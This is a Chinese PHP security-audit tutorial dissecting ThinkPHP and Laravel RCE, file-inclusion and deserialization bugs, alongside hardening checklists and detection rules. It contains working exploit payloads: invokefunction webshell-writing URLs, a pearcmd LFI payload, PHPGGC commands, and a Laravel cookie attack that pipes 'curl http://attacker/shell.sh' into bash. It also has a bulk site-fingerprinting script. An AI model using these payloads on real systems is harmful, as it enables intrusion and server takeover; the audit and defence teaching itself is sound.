PHP 代码审计实战——ThinkPHP、Laravel 历史漏洞模式深度剖析

引言:为什么 PHP 框架漏洞值得反复深挖

在国内 Web 攻防领域,一句话流传甚广:"打站先打 TP,挖洞先挖 Laravel"。这句话背后是过去十年 PHP 生态的一个残酷现实------超过七成的高危 PHP 应用漏洞,并非出在业务代码本身,而是源自框架机制与开发者假设之间的错位

ThinkPHP 作为国内最流行的 PHP 框架,从 TP3 到 TP8,因为其"简单好用、国内文档多"的特性被广泛部署在政企内网、教育系统、电商平台等各类业务中。也正因为部署基数庞大,其历史上的每一个 RCE 都能在真实互联网上命中数以万计的长尾站点。CVE-2018-20062(即著名的 ThinkPHP 5.x invokefunction RCE)爆发时,Mirai 僵尸网络在 24 小时内完成了对全网 IPv4 的批量扫描与利用,堪称"PHP 界的 Log4Shell"。

Laravel 则代表了另一种典型:框架本身设计严谨,但安全性的核心锚点押在一把"APP_KEY"上。GitGuardian 在 GitHub 公开仓库中追踪到,自 2018 年以来有超过 26 万个 Laravel APP_KEY 被曝光,2025 年又有研究团队披露超过 600 个活跃 Laravel 应用因 GitHub 上泄露的 APP_KEY 可直接被打穿为 RCE。一个 ENV 文件的误提交,就能让整条加密防线塌方。

真正有价值的能力,是从成百上千个 CVE 中抽出共性模式,形成"看到特征就推演利用"的条件反射。本文的目标正是这一点:把 ThinkPHP 与 Laravel 十余年的漏洞史拆解为可复用的审计思维模型,让你下次拿到一份陌生的 TP/Laravel 项目源码时,能够在半天内锁定最有价值的攻击面。

第一章:PHP 审计的方法论基础

在进入具体漏洞分析之前,必须先把方法论说清楚。这是后面所有内容得以展开的地基。

1.1 污点分析的黄金三角:Source - Transformer - Sink

污点分析是一切 PHP 审计的技术基石。它的逻辑极其朴素但威力巨大:

Source(污点源) 是外部可控数据进入程序的位置。在 PHP 中,除了 $_GET$_POST$_COOKIE 这些显而易见的超全局变量外,还有大量容易被忽视的非标准污点源:

php 复制代码
// 标准污点源
$id = $_GET['id'];
$data = file_get_contents('php://input');     // ⚠️ POST 原始体
$hdr = $_SERVER['HTTP_X_FORWARDED_FOR'];       // ⚠️ HTTP 头
$query = get_meta_tags($url);                  // 远程 URL 解析
$fp = curl_exec($ch);                          // CURL 返回值
$status = fpm_get_status()['request']['query']; // FPM 状态

后三者被称为"非预定义污点源"------很多静态扫描工具并没有把它们列入 Source 清单,因此代码里只要用到了 curl/get_meta_tags/fpm_get_status 这类函数返回值,就可能绕过 SAST 工具 。这是一类审计思路上的技巧性突破。

Transformer(变换器/过滤器) 是污点数据流向 Sink 的中间处理环节。审计的关键不在于找到 Sink,而在于证明 Transformer 无法彻底净化污点

php 复制代码
// 例子:idcode 过滤看似严谨,实则可用 %2527 双重编码绕过
$input = $_GET['q'];
$clean = str_replace("'", "''", $input);        // 防SQLi 弱
$clean = preg_replace('/select/i', '', $clean); // 只过滤一次
$sql   = "SELECT * FROM users WHERE name='$clean'";

攻击者传入 selselectect ------ 经过一次替换变为 select ------ 直接注入成功。这就是经典的"递归过滤缺失"陷阱。

Sink(危险汇聚点) 是污点最终引发危害的位置。PHP 中常见的 Sink 函数按类别整理如下:

类别 代表函数 漏洞类型
SQL 执行 mysql_query, mysqli_query, pdo->query/exec SQL 注入
命令执行 system, exec, shell_exec, passthru, ````` , proc_open, pcntl_exec RCE
代码执行 eval, assert(PHP7), create_function(废弃), preg_replace /e(PHP5) RCE
反序列化 unserialize, phar_parse_metadata POP 链 RCE
文件操作 include, require, fopen, file_put_contents, unlink LFI/RFI/任意文件删除
变量注册 extract, parse_str(无第二参数), import_request_variables(PHP4) 变量覆盖
SSRF curl_exec, file_get_contents(url), get_meta_tags 内网穿透

1.2 三层审计策略:从粗筛到细抠

面对动辄几十万行的 PHP 项目,纯手工逐行读是不现实的。建议采用三层递进式策略:

第一层:依赖版本指纹识别(10 分钟)

composer.jsoncomposer.lock

  • 框架主版本(TP 5.x vs 6.x vs 8.x,Laravel 8 vs 10 vs 11)
  • 关键组件版本(symfony/http-foundation, facade/ignition, guzzlehttp/guzzle 等)
  • 是否存在已知带 Gadget 的库(guzzle, monolog, laravel/framework 自身)
    这一步通常能直接给出 60% 以上的判定信号。
    第二层:Sink 密度扫描(30 分钟)
    用 grep/ripgrep 或 Semgrep 扫描所有 Sink 关键字,结合框架上下文判断优先级。这层会把焦点收窄到几十个可疑文件。
    第三层:人工精准审计(剩余时间)
    针对第二层锁定的高危点进行 Source-to-Sink 的正向追踪,尤其关注业务逻辑中"看似无害实则致命"的设计(比如动态方法调用、规则表达式引擎等)。

第二章:ThinkPHP 漏洞模式全谱系

ThinkPHP 的漏洞史几乎就是一部"路由解析失控 → 命名空间注入 → 动态方法调用"这个母题在不同版本中的变奏曲。

2.1 版本与代表漏洞速查表

先建立一张宏观地图:

漏洞编号 影响版本 类型 默认条件是否可利用
CVE-2018-1002015 TP5 ≤5.0.23, 5.1 <5.1.31 控制器命名空间注入 RCE ✅ 默认即可
CVE-2018-20062 TP 5.1.0-5.1.31 同类 RCE ✅ 默认即可
CVE-2019-9082 TP 5.0.0-5.0.23 PATHINFO 即控制器 RCE ✅ 默认即可
CNVD-2021-44350 TP 5.0.13-5.0.15, 5.1.0-5.1.5 Builder::parseData SQL 注入 ❌ 需业务调用 insert(array)
QVD-2022-46174 TP 5.x 全系列 + 6.0.1-6.0.13 多语言 lang 参数文件包含 ❌ 需开启 lang_switch_on
CVE-2022-45982 TP 6.0.x-6.1.x 缓存反序列化 RCE ❌ 需缓存驱动可控
CVE-2024-44902 TP 6+ 新披露反序列化链 反序列化 视链而定
资料来源综合自公开漏洞库与社区总结。

2.2 经典模式一:控制器命名空间注入

这是 ThinkPHP 历史上最著名的一组漏洞,其本质是 "用户输入没有经过白名单校验就直接拼接成了类名"

漏洞触发流程 (以 CVE-2018-20062 为例):

ThinkPHP 5.x 默认支持兼容模式访问:?s=module/controller/action。请求进入 think\App::run() 后,Route::parseUrl() 会将 pathinfo 按 / 切分成数组,然后不加严格校验地将其赋给 module、module、module、controller、$action

关键缺陷出现在 App.phpmodule() 方法中:

php 复制代码
// 漏洞版本的核心代码示意
public static function module($dispatch, $config)
{
    $controller = strip_tags($dispatch['controller']);  // 仅做 strip_tags!
    // 注意这里:str_replace 允许反斜杠\穿越命名空间
    $controller = str_replace('/', '\\', $controller);
    ...
    // 后续会用 new $controller() 或者 call_user_func_array() 动态实例化
}

攻击者构造这样的请求:

复制代码
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

参数切分结果是 ['index', '\think\app', 'invokefunction']。由于 \think\app 被 PHP 解析为根命名空间下的 \think\App 类------它绕开了应用层面的控制器目录限定,直接指向了框架内部的核心类 。而 \think\App 类恰好有一个公开静态方法 invokefunction(),它的作用就是接收任意函数名和参数并调用:

php 复制代码
// thinkphp/library/think/App.php
public static function invokeFunction($function, $vars = [])
{
    return call_user_func_array($function, $vars);
}

三步连环:用户输入成了类名 → 类名绕过白名单到达框架内部类 → 内部类的动态方法接受了任意函数调用。这是教科书级别的 RCE 利用链。

实战 Payload 举隅

复制代码
# phpinfo 验证
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
# 命令执行
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
# 写入 webshell
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php eval($_POST[1]);?>

第二形态是 captcha 路由配合 _method=__construct 的 POST 利用(适用于 GET 被过滤的场景):

复制代码
POST /index.php?s=captcha HTTP/1.1
Content-Type: application/x-www-form-urlencoded
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

它走的是另一个入口:Request::__construct 中会遍历 $this->filter 数组并把 server[REQUEST_METHOD] 作为过滤函数执行。本质上是同一个母题------把"应该写死的回调函数"变成了"用户可以注入的字符串"

2.3 修复为何反复失败?

官方在 5.0.23 修复了这个洞,但随后又被 CVE-2019-9082 击穿(PATHINFO 模式下同样的问题)。这提示了一个重要观察:当业务强依赖某个特性(如动态路由),补丁就只能"收紧边界",无法"彻底斩断" 。所以 5.0.x 必须升到 5.0.24+,5.1.x 必须升到 5.1.32+,缺一不可。

留给审计者的启示

  1. 看到 TP 项目第一步先确认精确版本号(composer.lock 或报错页面泄露)。
  2. 一旦版本落在上述高危区间,无论上层代码怎么写,都应标记为可直接利用。
  3. 如果开启了强制路由 (url_route_must=true),此洞失效------这是一个重要的防御性开关,需要在架构层强调而不是寄希望于开发者记得开。

2.4 经典模式二:文件包含 RCE(QVD-2022-46174)

这个漏洞展示了另一种母题------"参数拼接进 include 路径" 的经典路径穿越打法。

ThinkPHP 的多语言功能开启时,会根据用户的 lang 参数加载对应语言包:

php 复制代码
// lang检测逻辑简图
$file = __DIR__ . '/lang/' . $_GET['lang'] . '.php';
include $file;   // ← 未过滤 ../ 与 ://

利用思路非常经典,但最精彩的是如何解决"没有上传权限"的死锁。pearcmd.php 注入法横空出世:

复制代码
?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_REQUEST['x']);?>+/var/www/html/shell.php

前提是 Docker/LNMP 环境默认自带 PEAR,且 register_argc_argv=On(默认开)。PEAR 的 config-create 子命令允许接受两个参数------第一个是要写入的内容,第二个是目标文件路径。这就让原本只是"包含已有 .php 文件"的 LFI,瞬间升格为 "写入任意 PHP 内容到指定位置"的 RCE

另一种不需要任何本地文件的延伸玩法是 php://filter/write=convert.base64-decode/... 伪协议,将 Base64 化的 payload 解码进日志或缓存文件中再触发 include。

审计要点

  1. 全局搜索所有 includeinclude_oncerequirerequire_once
  2. 重点排查语句中的变量是否来自 $request->param()input()$_GET
  3. 检查项目 /config/lang.php 或类似配置,看 lang_switch_on 是否启用。
  4. 若启用,立即升级至 TP ≥ 6.0.14 并添加对 lang 参数的白名单校验。

2.5 经典模式三:变量覆盖与模板渲染逃逸

ThinkPHP 早期版本的 assign(request()->get()) 写法存在一个臭名昭著的后遗症:

php 复制代码
// 控制器典型用法
$this->assign(request()->get());
$this->fetch();

由于 assign 会把整个 GET 数组 merge 到模板变量,攻击者只需在 URL 中添加特定的键名即可覆盖框架内部用的敏感键,例如:

复制代码
?cacheFile=../public/uploads/trojan.jpg

这样 fetch() 就会在渲染模板时,把指定的 jpg 当作模板文件包含进来 ------上传图片马直接变成 webshell。

这种模式的本质是 extract() / array_merge() 对未初始化变量的无差别合并 ,属于一类普适的 PHP 审计范式:凡是视图渲染函数周围出现 assign(fetch)+request get/post 组合的地方,都应该手工演练一次覆盖可能

2.6 经典模式四:反序列化与 PHPGGC 战争

ThinkPHP 6.x 重构后引入了更复杂的容器和缓存体系,同时也打开了新的攻击面------反序列化链。

入口分布

  • Cache::set/get 在 File 驱动下使用 serialize/unserialize 存取数据;

  • Session 的 Redis/Memcached 驱动在序列化处理器未显式设置时,仍可能回落到 serialize_handler=php_serialize

  • 某些命令行脚本会把 Cookie/Header 直接作为对象恢复;

  • 第三方包(如某些支付 SDK)会把回调 payload 丢进 unserialize。
    POP 链典型骨架 (以 think\Container 为中心):

    __destruct 触发

    think\Container 的 some magic method

    属性遍历调用 __toString / __call

    think\process\pipes\Windows 触发文件操作或命令执行

    file_put_contents / system

实际利用几乎总是借助 PHPGGC 自动化生成。工具用法示例:

bash 复制代码
# 列出 ThinkPHP 可用链
./phpggc -l thinkphp
# 生成 RCE payload(自动 URL 编码)
./phpggc ThinkPHP/RCE4 system 'cat /flag' --url

不同链适用的 TP 小版本各不相同(RCE3/RCE4/FW1/FW2 各自对应不同的版本范围),实战中需要多链枚举尝试 直到某一条能跑通。

根因剖析:为什么 TP 这么容易被搞?

  1. 框架魔法方法密集 :Container/Pipeline/Hook 设计使 __destruct__call__toString 的链条铺得到处都是;
  2. 组件间"假设信任"过多:缓存认为拿到的数据一定是框架自己 set 进去的;
  3. is_serialized 校验形同虚设:只检查格式,不限制 class 白名单。

第三章:Laravel 漏洞模式全景

如果说 ThinkPHP 的病根是"自由度过高导致的失控",那 Laravel 的病根则更纯粹------所有安全性集中押注在一把 APP_KEY 上,一旦钥匙泄露整套机制瞬间归零

3.1 Laravel 历史漏洞版本地图

漏洞编号 影响版本 类型 利用条件
CVE-2018-15133 Laravel < 5.6.30 APP_KEY 反序列化 RCE 泄露 KEY
CVE-2019-9081 Laravel 5.7 特定组件反序列化 RCE 组件链齐全
CVE-2021-3129 Ignition ≤2.5.2 (Laravel ≤8.4.2) Debug 模式 Phar RCE APP_DEBUG=true
CVE-2022-31279 Laravel < 9.1.8 广播驱动反序列化 RCE 特定 driver
CVE-2024-55555 / 55556 ≤10.x decrypt 自动反序列化 RCE KEY 泄露
综合自公开资料。

3.2 一击必杀之钥:APP_KEY 反序列化 RCE

Laravel 的加密基石是 Illuminate\Encryption\Encrypter。一个鲜为人知却致命的设计是:

php 复制代码
// Illuminate/Encryption/Encrypter.php
public function decrypt($payload, $unserialize = true)
{
    ...
    return $unserialize ? unserialize($decrypted) : $decrypted;
}

注意 $unserialize 参数默认值为 true 。这意味着所有走 Laravel 加密通道的数据------Cookie Session、Queue Payload、部分第三方包传递的字段------都会在解密后立刻进入 unserialize()

正常场景下这没问题,因为数据是用同一把 KEY 加密过的,攻击者无法伪造密文。但三种现实情况会打破这个前提:

  1. APP_KEY 从 GitHub/Docker Hub/.env 备份中泄露
  2. 业务代码自己把用户输入丢进 decrypt() ,比如某个老的 SSO 接口接受 ?ticket=<base64密文>
  3. 某些旧版本使用了 session cookie 驱动且未做 HMAC 强校验
    一旦满足任一条件,攻击者的玩法异常干脆:
bash 复制代码
# 用 phpggc 生成针对 Laravel 的反序列化 payload
phpggc Laravel/RCE10 system 'curl http://attacker/shell.sh|bash' -b > payload.b64
# 用泄露的 APP_KEY 加密 payload
python encrypt_with_key.py --key BASE64_KEY_HERE --data payload.b64
# 通过 Cookie 投递
curl http://target/some/route \
  -H "Cookie: laravel_session=<encrypted_payload>" \
  -o /dev/null

整个攻击完全不需要碰应用的业务代码或路由,相当于绕过了整个 AppSec 的努力 。GitGuardian 统计显示仅 GitHub 平台就有超过 260,000 个 Laravel APP_KEY 曾暴露,其中 10,000+ 为唯一 key。

审计清单

  1. 检查 .env.example、Docker 配置文件、CI 日志、git history 是否含真实 KEY;
  2. grep -rn 'decrypt(' app/ routes/,重点核查是否有外部输入;
  3. 检查 SESSION_DRIVER,如果是 cookie,风险等级上调;
  4. 生产环境建议轮换 Key 至少每年一次,并加入 Secrets 扫描 CI 步骤。

3.3 Ignition Debug 模式 RCE(CVE-2021-3129)

这条 CVE 是近期 Laravel 攻防的代表作,也是"调试便利性演化为 RCE"的经典案例。

Ignition 是 Laravel 8 引入的错误页展示组件,比默认的 Whoops 更漂亮。它在 /execute-solution 接口中提供一系列"解决方案"。其中名为 MakeViewVariableOptionalSolution 的方案有一个坑爹的实现:

php 复制代码
public function run(array $parameters = [])
{
    $output = $this->makeOptional($parameters);
    if ($output !== false) {
        file_put_contents($parameters['viewFile'], $output);
    }
}
protected function makeOptional(array &$parameters = [])
{
    $originalContents = file_get_contents($parameters['viewFile']);
    return str_replace('$' . $parameters['variableName'], 
                       '$' . $parameters['variableName'] ?? '',
                       $originalContents);
}

viewFile 参数完全受控------既能 read 又能 write。看似这只是一个文件读写漏洞,但配合两个巧妙的设计点,它就成了绝杀:

技巧 1:php://filter 流包装写入(污染日志)

通过精心构造 base64 编码的 filter 链,可以把恶意序列化数据"无痕地"写到 storage/logs/laravel.log 里:

复制代码
viewFile = php://filter/write=convert.base64-decode/resource=storage/logs/laravel.log

技巧 2:phar:// 触发反序列化

PHP 中 file_exists('phar://xxx') 会主动解析 phar 元数据并触发其中的 unserialize。把上一步污染好的 log 文件通过 phar:// 再次传给 file_get_contents(),就完整触发了日志中预埋的反序列化 payload。

三步操作链路:

复制代码
Step 1  清空日志(避免字节干扰)
Step 2  制造错误让payload进入log(利用不存在的路由触发404) 
Step 3  向 execute-solution 提交 viewFile=phar://storage/logs/laravel.log

使用 phpggc 生成的 monolog/rce1 链子完成命令执行。

审计与修复角度

  1. 生产环境必须 APP_DEBUG=false;任何时候 debugbar/ignition 路由不应暴露公网;
  2. 升级 facade/ignition ≥ 2.5.2;
  3. 在 Nginx/Apache 层显式 deny _ignition 路径,作为纵深防御;
  4. 即使根本原因已修,类似的 "solution/action 接口未鉴权" 模式仍是常见的新发故障源 ,定期复扫此类 action/execute 类端点是必要的。

3.4 组件级漏洞链条

Laravel 自身组件外,生态里的第三方扩展同样贡献了大量 Gadget:

  • Guzzle HTTP 客户端:结合 SSRF 时可作为跳板,在某些 Gadget 链中承担远程 class 加载角色;
  • Monolog:RCE1-RCE17 系列,几乎是每个 CTF 和实战 exploit 必备;
  • Fakerphp :提供易触发的 __destruct 入口;
  • PhpUnit:文件写入链;
  • Carbon/BrickMath 等看似无害的工具库也可能暗藏 POP 链。
    实战经验:遇到未知框架项目先用 composer why-not guzzle monolog 快速盘点可用链库存。

3.5 那些"默认配置即隐患"的点

Laravel 有一些"开箱即用就麻烦"的细节,必须在部署规范中明确化:

配置项 危险默认值 推荐
APP_DEBUG true(.env 默认) false
SESSION_DRIVER cookie database/redis + server-side
storage/logs 权限 可被 web 用户读写 改配权限或禁用 log-based attacks
/.env 公网访问 nginx 默认放行 location ~ /.env { deny all; }
horizon/telescope/horizon paths 无鉴权挂载 登录墙或 IP 白名单
.env 直接被下载泄露也是长期高发的攻击起点之一,属于低技术含量但收益最高的攻击向量。

第四章:两大框架的安全哲学对比与基线配置

4.1 根因层面差异

回顾十年漏洞史,两大框架的"性格"截然不同:

  • ThinkPHP:设计哲学偏向便利,强调动态灵活,代价是边界宽松。开发者少写的每一行校验,都可能成为未来的攻击面。它的洞更多来自"应该有的白名单没写"。
  • Laravel:设计哲学偏向约定优于配置,边界相对紧致,但把安全性押注在"KEY 不泄露"这种单点上 。它的洞更多来自"外部条件意外打开"。这也是为什么同版本的 Laravel 企业应用之间,实际威胁等级往往差几个数量级------取决于运维纪律。
    给你的启示:审计 ThinkPHP 更多做"防御是否存在"的逻辑检查,审计 Laravel 更多做"外围条件是否成立"的环境检查。两者思路要切换。

4.2 通用加固基线 Checklist

无论是 TP 还是 Laravel 项目,这份清单都能显著提升底线:

# 项目 说明
1 锁定 composer.lock 定期 composer audit 检查已知 CVE
2 关闭调试 & 信息泄露 生产 app_debug=false / APP_DEBUG=false
3 开启强制路由 'url_route_must' => true (TP),Laravel 使用 route cache
4 白名单反序列化 PHP 7.4+ unserialize($data, ['allowed_classes'=>false])
5 禁用危险函数 disable_functions=exec,system,passthru,shell_exec,proc_open,popen,putenv,chroot,disk_free_space,disk_total_space,diskfreespace,symlink,error_log,getmyuid,getmypid,get_current_user,leak,is_writable,pfsockopen,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,posix_uname,psockopen,set_thread_area,setsockopt,socket_bind,socket_create,socket_listen,socket_strerror,touch,dl,easypay_ondemand
6 敏感目录禁读 .env, /storage/logs, /vendor/composer/*, composer.json 全部 deny
7 secrets 管理脱离 git Vault/KMS/SOPS 托管,禁止提交明文
8 WAF 层拉黑典型特征 针对 invokefunction_method=__constructx-forwarded-for 之类高危 pattern
9 限流与统一鉴权 所有 admin/dashboard/horizon 等路径加 login wall
10 按 Key 轮换周期 至少每季度轮换 APP_KEY/JWT_SECRET

4.3 WAF 为什么挡不住这类漏洞

值得注意的是,前述漏洞大多不是靠传统 WAF 能防住的:

  • Payload 简短多变:TP 的 RCE 关键字符只有几个,攻击者可以用大小写、URL 编码、Unicode 逃逸等多个形态绕;
  • LLM 生成的变体加速:现代攻击者用 AI 快速 mutate 出从未见过的 payload 形态,签名规则库跟不上;
  • 响应侧信息隐蔽 :许多洞打完返回内容较短,WAF 无法基于回显判别攻击成功与否。
    因此纵深防御必须下沉到运行时:disable_functions、OpenBasedir、chmod 管理、主机层 EDR 是最后的护城河。

第五章:自动化审计工具实战栈

人工审计效率终究有限。本节介绍一套高效落地的工具组合拳。

5.1 Semgrep 快扫:CI 门槛级守护

Semgrep 无需编译即可工作,适合放入 git pre-push 或 PR check:

yaml 复制代码
rules:
  - id: php-taint-request-to-exec
    languages: [generic]
    severity: ERROR
    message: User input flows into command execution sink
    patterns:
      - pattern-either:
        - pattern: system($_GET[$X])
        - pattern: exec($_POST[$Y])
        - pattern: shell_exec($_REQUEST[$Z])
  - id: php-unserialize-user-input
    languages: [php]
    severity: CRITICAL
    message: Possible deserialization vulnerability
    patterns:
      - pattern: unserialize($INPUT)
      - metavariable-pattern:
          metavariable: $INPUT
          patterns:
            - pattern-not: "'...'"
  - id: tp-dangerous-route-name
    languages: [generic]
    severity: ERROR
    message: ThinkPHP dynamic method invocation risk
    patterns:
      - pattern: call_user_func_array($FUNC, $ARGS)
      - metavariable-pattern:
          metavariable: $FUNC
          patterns:
            - pattern-regex: '\$(req|param|input)'

5.2 Joern for PHP:CPG 深度建模

Joern 支持把 PHP 项目编译为 Code Property Graph,然后用类 SQL 方式做污点传播查询。对特定目标高度定制化的审计尤为有用:

scala 复制代码
importCode("./target-php")
val source = cpg.identifier.name(".*\\$_(GET|POST|REQUEST).*")
val sink = cpg.call.name(".*(system|exec|eval|unserialize).*")
sink.reachableByFlows(source).p

优点是可以精准表达复杂场景(跨过程闭包、魔术方法),缺点是学习曲线较陡、大项目内存压力大。

5.3 大规模存量项目快速指纹识别脚本

遇到 SaaS 运维或者攻防演练的"资产摸底"场景,用最粗暴的方式扫一遍站点指纹往往最高效:

bash 复制代码
#!/bin/bash
for target in $(cat targets.txt); do
  resp=$(curl -sk --max-time 5 "$target")
  if echo "$resp" | grep -qiE 'laravel|/storage/logs/laravel|csrf-token|/vendor/laravel'; then
    echo "[LARAVEL] $target"
  fi
  if echo "$resp" | grep -qiE '/application/|_think|X-Powered-By: PHP/7.*Think'; then
    echo "[THINKPHP] $target"
  fi
  # 抓 header
  hdr=$(curl -sIk --max-time 5 "$target")
  [[ "$hdr" =~ X-Powered-By ]] && echo "$hdr" >> headers.txt
done

结合 censys/shodan 的 http.body_match:"ThinkPHP""X-Powered-By:PHP/7" 查询语法,可以对一个国家或行业形成近乎完整的资产地图。

第六章:AI 时代的 PHP 审计新范式

写到这里,我们已经把两大框架的十年血泪案拆解得比较透彻。但在 2026 年这个时间节点,有必要单独聊聊一个正在重塑整个审计范式的话题------AI 辅助审计

过去两年,我们内部的实践有几个显著感受:

一是 LLM 突破了"grep 天花板"。 传统扫描工具的痛点在于对复杂语义场景失明:比如一段代码封装了 safe_eval() 自己以为安全其实并不安全的帮助函数,SAST 拿不准,但 LLM 能读懂函数内部的具体实现并给出准确风险评估。

二是 AI 极大降低了跨语言审计门槛。 一个 Java 团队做 PHP 审计,以前至少要一到两个月熟悉框架特性(Router、Facade、Middleware)。现在把 composer.json + 路由文件 + 抽样 Controller 喂给 GLM/Claude/DeepSeek,让它画一份"这个项目的 sink-topology 图"和"开发者容易踩坑的 Top10 场景",一周内就能达到合格审计员水平。

三是漏洞模式的 Cross-Pollination 加速了。 Java 里的 SpEL 注入、Python 里的 SSTI、PHP 里的 TPL 注入,本质上都是同一类问题------现在用一句 prompt 就能让 AI 把已知的 PHP Sink 库改写成 Ruby 版,帮助团队审计新兴的 Rails 项目。

但也要警惕三个陷阱:

  1. 幻觉式误报:AI 可能硬编出不存在的方法名或链路,所有 output 必须抽样验证;
  2. 上下文窗口约束:百万行的大项目仍需人工分片编排任务,不能一把梭;
  3. 过度信任"看起来很专业"的回答 :AI 不知道你的公司内部自定义封装的过滤函数行为,遇到这种情况要补充 context。
    总体的分工已经在演化成:AI 负责"广度扫描 + 模式迁移 + 上下文推演",人类负责"难度大的 business logic 漏洞 + 最终的 proof-of-concept 验证"。这不是替代,而是质变的提效。

第七章:从 CVE 到 0day------构建个人漏洞挖掘心智

最后想跳出具体框架,聊几句格局层面的思考。读完前面几万字案例,或许你已经隐约感受到了一些规律。

规律一:每一个 0day 都是一段历史 CVE 的影子。

TP 5.0.23 被 invokefunction 打穿了,官方修了一版,结果 PATHINFO 又崩了。Laravel Ignition 的 viewFile 问题,官方 patch 之后一年不到又在别的 solution 里冒出来同类问题。真正稳定的不是代码,而是开发团队的认知惯性。 审计者要做的不是记住 PoC,而是理解每次漏洞背后的"开发者为什么会这么写"。

规律二:漏洞很少发生在冷门位置,而是在"大家觉得没问题的地方"。

没人觉得 lang 参数能 RCE,但它穿越了 pearcmd。没人觉得 APP_KEY 只是用来签 cookie,但它牵一发而动全身。没人觉得 Ignition 只是展示 bug 页面的组件,但它提供了完美的 Entry Point。真正的高手,审计时会带着"这有什么不能被打破的前提?"这个疑问去翻每一行看起来平淡无奇的代码。

规律三:演化是无止境的。

Web 框架每隔几年就换代一次,从 MVC 到 SPA 到 SSR 到今天的 Edge Runtime 和 AI 代理。TP8 已经开始拥抱 PHP 8.4 的类型系统、枚举值校验,Laravel 11+ 也开始把原先依赖环境的很多事内置化。下一代框架必然带来新一代漏洞。这也意味着------成为一名合格 PHP 审计员的赛道永不过时,只需要不断刷新你头脑里的漏洞模式库

如果你打算深耕 PHP 审计这条线,我个人的成长路线推荐是:

  1. 把 Vulhub 中 ThinkPHP/Laravel 相关的全部 15+ 个环境逐一手工打过一遍;
  2. 读一遍 Framework 源码中最危险的 300 行左右(think\Appilluminate/encryption、路由分发、View 渲染);
  3. 自己挑一个小众开源 CMS 从零审计一遍,产出一份完整的报告;
  4. 在 GitHub 关注 ambionics 组织的动态(他们维护 PHPGGC),第一时间跟进新链;
  5. 参与 CTFtime 上至少 10 场涉及 PHP 反序列化的赛事,积累肌肉记忆。
相关推荐
郑州光合科技余经理31 分钟前
本地生活平台搭建:统一订单表与多后台切换怎么拆
java·开发语言·前端·系统架构·uni-app·php·ai编程
拍客圈32 分钟前
换服务器 mozcjpeg 5.0.0
android
rcms1527026921840 分钟前
HITACHI 560BIR01 1KGT034000R0101 二进制输入模块
网络
yyuuuzz1 小时前
企业出海云服务器部署踩坑记录:从频繁超时到稳定运行的复盘
运维·服务器·网络·人工智能·aws
蜡台2 小时前
Jetpack Compose 稳定性、重组优化(Stable / @NonRestartableComposable)
android·kotlin·compose·jepack
EasyGBS2 小时前
连锁书店如何用国标GB28181公网平台EasyGBS把“远程巡店”做成日常基本功?
服务器·网络·音视频
LabVIEW开发2 小时前
TTi CPX400 系列可编程电源的 LabVIEW 远程控制
网络·labview·labview知识·labview功能·labview程序
__Witheart__2 小时前
3588 Android 13 预装apk失败 —— 不再使用apps.mk
android
__Witheart__2 小时前
3588 Android 串口软件提示“没有串口读写权限”
android